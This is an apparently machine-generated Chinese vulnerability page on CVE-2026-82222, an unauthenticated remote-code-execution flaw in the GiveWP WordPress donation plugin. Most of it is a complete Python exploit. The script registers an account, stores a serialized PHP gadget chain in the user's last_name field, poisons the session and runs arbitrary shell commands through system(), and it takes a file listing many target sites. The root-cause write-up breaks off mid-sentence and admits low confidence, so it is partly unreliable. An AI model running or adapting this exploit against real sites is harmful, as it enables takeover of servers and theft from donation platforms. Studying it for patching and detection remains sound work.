🔥 CVE-2026-82222 深度独立研究:源码审计 · 二次发现 · 利用方案

🔥 高危漏洞深度独立研究 · CVSS ≥ 9.8

CVE-2026-82222 深度独立研究:源码审计 · 二次发现 · 利用方案

📊 2 来源🔍 源码审计🧪 PoC
NVD-LatestPoC-in-GitHub

🔍 源码独立审计

(未定位到源码) 源码进行独立审计(置信度 60%)。

🧬 根因独立理解

<p><strong>摘要:</strong>GiveWP 是一款广受欢迎的 WordPress 捐赠管理插件。CVE-2026-82222 被评定为 CVSS 10.0 的严重漏洞,根因在于插件对不受信任的数据执行了不安全反序列化,导致攻击者可在未认证条件下实现对象注入,进而触发远程代码执行(RCE)。受影响版本为 GiveWP n/a 至 4.16.7.1。本文深入分析其技术原理、利用链、危害及修复建议。</p> <h2>📌 漏洞概述</h2> <p><strong>CVE 编号:</strong>CVE-2026-82222<br> <strong>CVSS 评分:</strong>10.0(Critical)<br> <strong>漏洞类型:</strong>Deserialization of Untrusted Data(不可信数据反序列化)→ Object Injection(对象注入)→ 远程代码执行<br> <strong>受影响组件:</strong>Liquid Web / StellarWP GiveWP WordPress 插件<br> <strong>影响版本:</strong>从 n/a 至 4.16.7.1(含)</p> <p>该漏洞允许未认证攻击者通过构造特殊的序列化数据,在目标站点上执行任意操作系统命令。由于 CVSS 达到满分 10.0,任何使用受影响版本的 GiveWP 站点都面临极高的被攻陷风险。</p> <h2>🔬 漏洞根因分析</h2> <p>GiveWP 使用 PHP 会话机制来临时存储捐赠流程中的用户数据。为了实现灵活的数据结构,插件会将会话内容序列化后存入数据库表(例如 <code>wp_give_sessions</code>),并在需要时反序列化恢复。问题在于,部分流程中使用了“安全反序列化”函数 <code>Utils::maybeSafeUnserialize</code>(通过 <code>allowed_classes=false</code> 阻止对象实例化),但在另一处却调用了未加限制的 <code>maybe_unserialize</code> / 原生 <code>unserialize</code>,导致攻击者控制的输入可以被还原为完整的 PHP 对象图。</p> <p>攻击者的注入路径非常巧妙。首先,GiveWP 的 <code>user_register</code> Ajax 动作允许未认证用户注册账号(即便 WordPress 后台设置了禁止注册也会被忽略,因为该动作在 4.16.6 之前没有 nonce 校验)。攻击者借此获得一个合法会话和认证 Cookie。随后,攻击者利用 <code>wp-admin/profile.php</code> 个人资料更新接口,将精心构造的序列化 payload 写入自己的 <code>last_name</code> 用户 meta。由于 PHP 序列化字符串中通常包含 NUL 字节和类名,攻击者使用了“NUL-free、plain-name properties”技巧,并将命名空间分隔符用四个反斜杠表示,以绕过 WordPress 的 <code>stripslashes</code> 处理,确保 payload 最终以完整可反序列化的形式存储。</p> <p>真正的触发点在捐赠处理流程中:攻击者调用 <code>admin-ajax.php</code> 的 <code>give_process_donation</code> 动作,同时在请求中刻意不提交 <code>give_last</code> 字段。此时服务器会根据逻辑回退到读取当前用户 <code>last_name</code> meta 作为默认值,并将其传入 <code>maybeSafeUnserialize</code>。该函数虽然设置了 <code>allowed_classes=false</code> 以避免对象实例化,但它并未完全阻止数据被写入会话存储——疑似在反序列化失败后仍将原始 payload 保存到了 <code>wp_give_sessions</code> 表(此时会触发 HTTP 500,但写入已生效)。随后,攻击者使用相同 Cookie 再次发起普通请求,GiveWP 在会话恢复时调用了不受限的 <code>maybe_unserialize</code>,从而将存储在会话中的恶意序列化数据还原为完整的对象图。</p> <p>对象图构造利用了 PHP 魔术方法链。攻击者将 <code>TCPDF</code> 类的 <code>imagekeys</code> 属性设置为 <code>Give\Vend

🛤️ 漏洞触发链路

🧪 PoC 复现

从 GitHub 公开仓库抓取的实际 PoC 代码(仓库)。

📋 代码元数据语言py来源dinosn/givewp-cve-2026-82222-rce-lab针对性✅ 已验证与漏洞相关(代码含 CVE 引用)依赖见代码注释/README用法详见代码注释中的使用说明

#!/usr/bin/env python3
r"""
CVE-2026-82222 — GiveWP <= 4.16.7.1 — Unauthenticated Remote Code Execution
Authorized-security-testing PoC. Use only against systems you are permitted
to test. Default command is a harmless `id`;execution is proven by fetching
a tokened marker file over HTTP.

Chain (GiveWP 4.16.5.1 stock dependencies,WordPress 6.x,
PHP 8.1):
  1. POST give_action=user_register          ->account + auth cookie
     (ignores users_can_register;nonce only added in 4.16.6)
  2. POST wp-admin/profile.php               ->serialized gadget stored in
     own last_name user meta (NUL-free,plain-name properties;
namespace
     separators use 4 backslashes to survive the two stripslashes passes)
  3. admin-ajax action=give_donation_form_nonce,then
     action=give_process_donation WITHOUT give_last
     ->server falls back to the planted last_name meta ->Utils::maybeSafeUnserialize (allowed_classes=false) defers the payload
     into wp_give_sessions ->
HTTP 500 after the write
  4. Trigger request with the same cookies ->unguarded maybe_unserialize()
     revives the graph ->at GC:
        TCPDF::__destruct ->_destroy(true)
          ->foreach ($this->imagekeys as ...)          [imagekeys = Session]
            ->Give\Vendors\Symfony\...\Session\Session::getIterator()
              ->getAttributeBag() ->
getBag($this->attributeName)
                ->$this->storage->getBag($cmd)         [storage = Factory]
                  ->Give\TestData\Factories\DonationFactory::__call('getBag',[$cmd])
                    ->ProviderForwarder ->call_user_func_array('system',
[$cmd])

Usage:
  ./cve-2026-82222-rce.py -u http://target[:port][/path]
  ./cve-2026-82222-rce.py -f urls.txt [--cmd 'id'] [--form-id N]
                          [--amount 10.00] [--marker-path wp-content/uploads]
                          [--timeout 20] [--json evidence.json] [--dry-run]

Notes:
  * commands run through system() (sh -c);keep them single-line and ASCII.
    '<',
'>' and '&' are rejected: the WordPress profile storage HTML-escapes
    them,which corrupts the serialized payload (use 'tee' instead of '>').
  * --form-id skips auto-discovery (first published give_forms form).
  * Exit code: 0 all targets confirmed,
1 one or more not confirmed.
"""

import argparse
import json
import random
import re
import string
import sys
import time

import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

UA = {"User-Agent": "Mozilla/5.0 (X11;Linux x86_64) CVE-2026-82222-PoC/1.0"}
# ---------------------------------------------------------------- payload ---

def php_s(value: str) ->str:
    """PHP serialized string (byte-length correct)."""
    return 's:%d:"%s";' % (len(value.encode()),value)


def build_payload(command: str,token: str) ->str:
    """Serialize the TCPDF ->Symfony Session ->
DonationFactory graph.

    Wire format constraints (verified against the live target):
      - plain-name properties (NUL-free;hydrate the declared protected/
        private slots on PHP 8.1);- four literal backslashes per namespace separator on the wire: the
        write path applies stripslashes_deep twice (process-donation.php:159
        and Utils::removeBackslashes),4 ->2 ->1;
- O:<n>
counts the post-strip class-name length.
    """
    sep = "\\" * 4
    factory_cls = "Give" + sep + "TestData" + sep + "Factories" + sep + "DonationFactory"
    session_cls = ("Give" + sep + "Vendors" + sep + "Symfony" + sep + "Component"
                   + sep + "HttpFoundation" + sep + "Session" + sep + "Session")
    factory_real = "Give\\TestData\\Factories\\DonationFactory"
    session_real = "Give\\Vendors\\Symfony\\Component\\HttpFoundation\\Session\\Session"

    providers = "a:1:{" + php_s("getBag") + php_s("system") + "}"
    factory = ("O:%d:\"%s\":1:{" % (len(factory_real),
factory_cls)
               + php_s("loadedProviders") + providers + "}")
    session = ("O:%d:\"%s\":2:{" % (len(session_real),
session_cls)
               + php_s("storage") + factory
               + php_s("attributeName") + php_s(command) + "}")
    payload = ("O:5:\"TCPDF\":2:{"
               + php_s("file_id") + php_s(token)
               + php_s("imagekeys") + session + "}")
    return payload


# ------------------------------------------------------------- discovery ----

JUNK = re.compile(r"(feed|wp-json|wp-includes|wp-admin|wp-login|xmlrpc|\.css|\.js|\.png|\.jpe?g|#|^mailto:)",
re.I)


def discover_form_id(sess: requests.Session,base: str,timeout: int):
    """Find the first published legacy donation form id.

    Walks the give_forms archive (and homepage as fallback),then probes the
    linked pages for the donation form markup.
    """
    seen_pages = set()
    for listing in (base + "/?post_type=give_forms",base + "/"):
        try:
            r = sess.get(listing,
timeout=timeout,allow_redirects=True)
        except requests.RequestException:
            continue
        m = re.search(r'name="give-form-id"\s+value="(\d+)"',r.text)
        if m:
            return m.group(1),listing
        links = []
        for href in re.findall(r'href="([^"]+)"',
r.text):
            if href.startswith("/") and not href.startswith("//"):
                href = base + href
            if (href.startswith(base) and not JUNK.search(href)
                    and href.rstrip("/") != base.rstrip("/") and href not in links):
                links.append(href)
        for link in links[:8]:
            if link in seen_pages:
                continue
            seen_pages.add(link)
            try:
                r2 = sess.get(link,
timeout=timeout,allow_redirects=True)
            except requests.RequestException:
                continue
            m = re.search(r'name="give-form-id"\s+value="(\d+)"',r2.text)
            if m:
                return m.group(1),link
    return None,None


# ---------------------------------------------------------------- exploit ---

def grab(pat,text):
    m = re.search(pat,
text)
    return m.group(1) if m else ""


def exploit_target(base: str,args) ->dict:
    ev = {"target": base,"steps": {},"confirmed": False}base = base.rstrip("/")
    token = "".join(random.choices(string.ascii_lowercase + string.digits,
k=12))
    user = "poc" + token
    email = f"{user}@poc.local"
    marker_rel = args.marker_path.strip("/")
    # NOTE: the profile.php storage path HTML-escapes '<','>' and '&' (->&lt;# &gt;&amp;),which breaks the serialized payload byte lengths. The output
    # capture therefore uses 'tee' and those characters are rejected up front.
    command = f"({args.cmd}) |
tee {marker_rel}/{token}.txt"
    payload = build_payload(command,token)
    marker_url = f"{base}/{marker_rel}/{token}.txt"

    if args.dry_run:
        import base64 as b64
        ev["dry_run"] = {"token": token,"command": command,"payload_len": len(payload),"payload_b64": b64.b64encode(payload.encode()).decode(),"marker_url": marker_url}
return ev

    s = requests.Session()
    s.headers.update(UA)
    s.verify = False
    T = args.timeout

    def step(name,ok,detail=""):
        ev["steps"][name] = {"ok": bool(ok),"detail": str(detail)[:160]}print(f"    [{'PASS' if ok else 'FAIL'}] {name}" + (f" — {detail}" if detail else ""))
        return ok

    print(f"[*] target {base}
token {token}")

    # -- 1. unauthenticated registration -------------------------------------
    r = s.post(f"{base}/",data={"give_action": "user_register","give_user_login": user,"give_user_email": email,"give_user_pass": "PocPass!123","give_user_pass2": "PocPass!123","give_register_submit": "Register",},
timeout=T)
    cookies = list(s.cookies.get_dict())
    if not step("register (auth cookie issued)",any("logged_in" in c for c in cookies),
f"status={r.status_code}"):
        ev["note"] = ("registration did not issue an auth cookie — target may be "
                      "GiveWP >= 4.16.6 (nonce-gated registration) or patched")
        return ev

    # -- 2. plant the serialized graph in own last_name meta ------------------
    r = s.get(f"{base}/wp-admin/profile.php",timeout=T,
allow_redirects=True)
    nonce = grab(r'name="_wpnonce"[^>]*value="([^"]+)"',r.text)
    uid = grab(r'name="user_id"[^>]*value="([^"]+)"',r.text)
    ckid = grab(r'name="checkuser_id"[^>]*value="([^"]+)"',r.text) or uid
    if not step("profile nonce harvested",bool(nonce and uid),f"uid={uid!r}"):
        return ev

    r = s.post(f"{base}/wp-admin/profile.php",data={"_wpnonce": nonce,
"_wp_http_referer": "/wp-admin/profile.php","from": "profile","checkuser_id": ckid,"user_login": user,"first_name": "Poc","last_name": payload,"nickname": user,"email": email,"display_name": user,"user_id": uid,"action": "update","submit": "Update Profile",},timeout=T)
    updated = "Profile updated" in r.text
    r2 = s.get(f"{base}/wp-admin/profile.php",timeout=T,
allow_redirects=True)
    m = (re.search(r'name="last_name"[^>]*value="([^"]*)"',r2.text)
         or re.search(r'value="([^"]*)"[^>]*name="last_name"',r2.text))
    stored = m.group(1) if m else ""
    if not step("gadget stored in last_name meta",updated and "TCPDF" in stored and "attributeName" in stored,f"update={updated}
stored_len={len(stored)}"):
        return ev

    # -- 3. poison the session ------------------------------------------------
    form_id = args.form_id
    if not form_id:
        form_id,src = discover_form_id(s,base,T)
        step("donation form discovered",bool(form_id),f"form_id={form_id}via {src}" if form_id else "no give_forms found;
use --form-id")
        if not form_id:
            return ev
    ev["form_id"] = form_id

    r = s.post(f"{base}/wp-admin/admin-ajax.php",data={"action": "give_donation_form_nonce","give_form_id": form_id},timeout=T)
    form_hash = ""
    try:
        form_hash = r.json().get("data","")
    except Exception:
        pass
    if not step("donation nonce via admin-ajax",bool(form_hash),
f"nonce={form_hash[:10]}..."):
        return ev

    r = s.post(f"{base}/wp-admin/admin-ajax.php",data={"give-form-id": form_id,"give-form-hash": form_hash,"give-price-id": "0","give-amount": args.amount,"give_first": "Poc","give_email": email,# give_last intentionally omitted
        "give-gateway": "manual","action": "give_process_donation",},
timeout=T)
    step("session poisoned (HTTP 500 after write)",r.status_code == 500,f"status={r.status_code}"
         + ("" if r.status_code == 500 else
            " (no crash: amount/gateway mismatch or write-path rejection —"
            " target may be patched)"))

    # -- 4. trigger and verify the marker over HTTP ---------------------------
    for attempt,url in enumerate([f"{base}/",
f"{base}/?p={form_id}",f"{base}/?post_type=give_forms"]):
        try:
            s.get(url,timeout=T)
        except requests.RequestException:
            pass
        try:
            m = s.get(marker_url,timeout=T)
            if m.status_code == 200 and m.text.strip():
                out = m.text.strip()[:400]
                step("command executed (marker fetched over HTTP)",True,
f"trigger#{attempt + 1}")
                ev["confirmed"] = True
                ev["command"] = args.cmd
                ev["output"] = out
                ev["marker_url"] = marker_url
                print("    ---- command output " + "-" * 34)
                for line in out.splitlines()[:6]:
                    print("    " + line)
                print("    " + "-" * 52)
                return ev
        except requests.RequestException:
            pass
        time.sleep(1.5)

    step("command executed (marker fetched over HTTP)",
False,f"marker {marker_url}not retrievable")
    ev["note"] = ("session poison may still have occurred;marker unreadable "
                  "can mean uploads not writable,different webroot,
or a "
                  "patched/unsupported target")
    return ev


# ------------------------------------------------------------------- main ---

def main():
    ap = argparse.ArgumentParser(
        description="CVE-2026-82222 GiveWP <= 4.16.7.1 unauthenticated RCE PoC",
formatter_class=argparse.RawDescriptionHelpFormatter)
    tgt = ap.add_mutually_exclusive_group(required=True)
    tgt.add_argument("-u","--url",help="single target base URL")
    tgt.add_argument("-f","--file",help="file with one target URL per line")
    ap.add_argument("--cmd",default="id",help="command to execute (default: id;avoid '<')")
    ap.add_argument("--form-id",
help="donation form ID (skips auto-discovery)")
    ap.add_argument("--amount",default="10.00",help="donation amount (default 10.00)")
    ap.add_argument("--marker-path",default="wp-content/uploads",help="HTTP-visible writable path for the marker (default wp-content/uploads)")
    ap.add_argument("--timeout",type=int,default=20)
    ap.add_argument("--json",dest="json_out",
help="write evidence JSON here")
    ap.add_argument("--dry-run",action="store_true",
help="build the payload and exit (no requests sent)")
    args = ap.parse_args()

    bad = [c for c in "<>&" if c in args.cmd]
    if bad:
        ap.error("command must not contain " + " ".join(repr(c) for c in bad)
                 + " (the WordPress profile storage HTML-escapes them and the"
                   " serialized payload would no longer parse;
use e.g. 'tee')"
                 " instead of '>')")

    if args.url:
        targets = [args.url]
    else:
        try:
            targets = [ln.strip() for ln in open(args.file)
                       if ln.strip() and not ln.startswith("#")]
        except OSError as e:
            ap.error(str(e))
    if not targets:
        ap.error("no targets")

    print(f"CVE-2026-82222 GiveWP unauth RCE PoC — {len(targets)}
target(s),"
          f"cmd={args.cmd!r}\n")

    results = []
    for t in targets:
        try:
            results.append(exploit_target(t,args))
        except Exception as e:                       # keep batch alive
            print(f"    [FAIL] unexpected error — {type(e).__name__}: {e}")
            results.append({"target": t,"confirmed": False,"steps": {"exception": {"ok": False,
"detail": str(e)[:160]}}})
        print()

    print("=" * 64)
    print(f"{'target':<42}{'result':<12}")
    print("-" * 64)
    for r in results:
        print(f"{r.get('target','?'):<42}"
              f"{'RCE CONFIRMED' if r.get('confirmed') else 'not confirmed':<12}")
    print("=" * 64)
    ok = sum(1 for r in results if r.get("confirmed"))
    print(f"{ok}/{len(results)}
target(s) confirmed command execution")

    if args.json_out:
        with open(args.json_out,"w") as fh:
            json.dump(results,fh,indent=2)
        print(f"evidence written to {args.json_out}")

    sys.exit(0 if ok == len(results) and ok >0 else 1)


if __name__ == "__main__":
    main()

⚔️ EXP 利用代码

截至分析时,Exploit-DB 未收录该 CVE 的公开利用代码。可利用上述 PoC 进行验证,或关注 Exploit-DB 更新。

🕵️ 检测指纹

当前规则库未收录针对该 CVE 的专用检测规则。建议:

  • 根据漏洞根因编写 Nuclei 检测模板
  • 在 WAF/IDS 中配置针对漏洞特征的规则
  • 关注漏洞指纹库更新

🤖 高危漏洞深度独立研究引擎生成 · 2026-08-31 03:01

[!] CONTACT_CHANNELS

如需商务合作、技术咨询或漏洞反馈,请通过以下离岸节点联系作者。

> PING_AUTHOR (@A1RedTeam)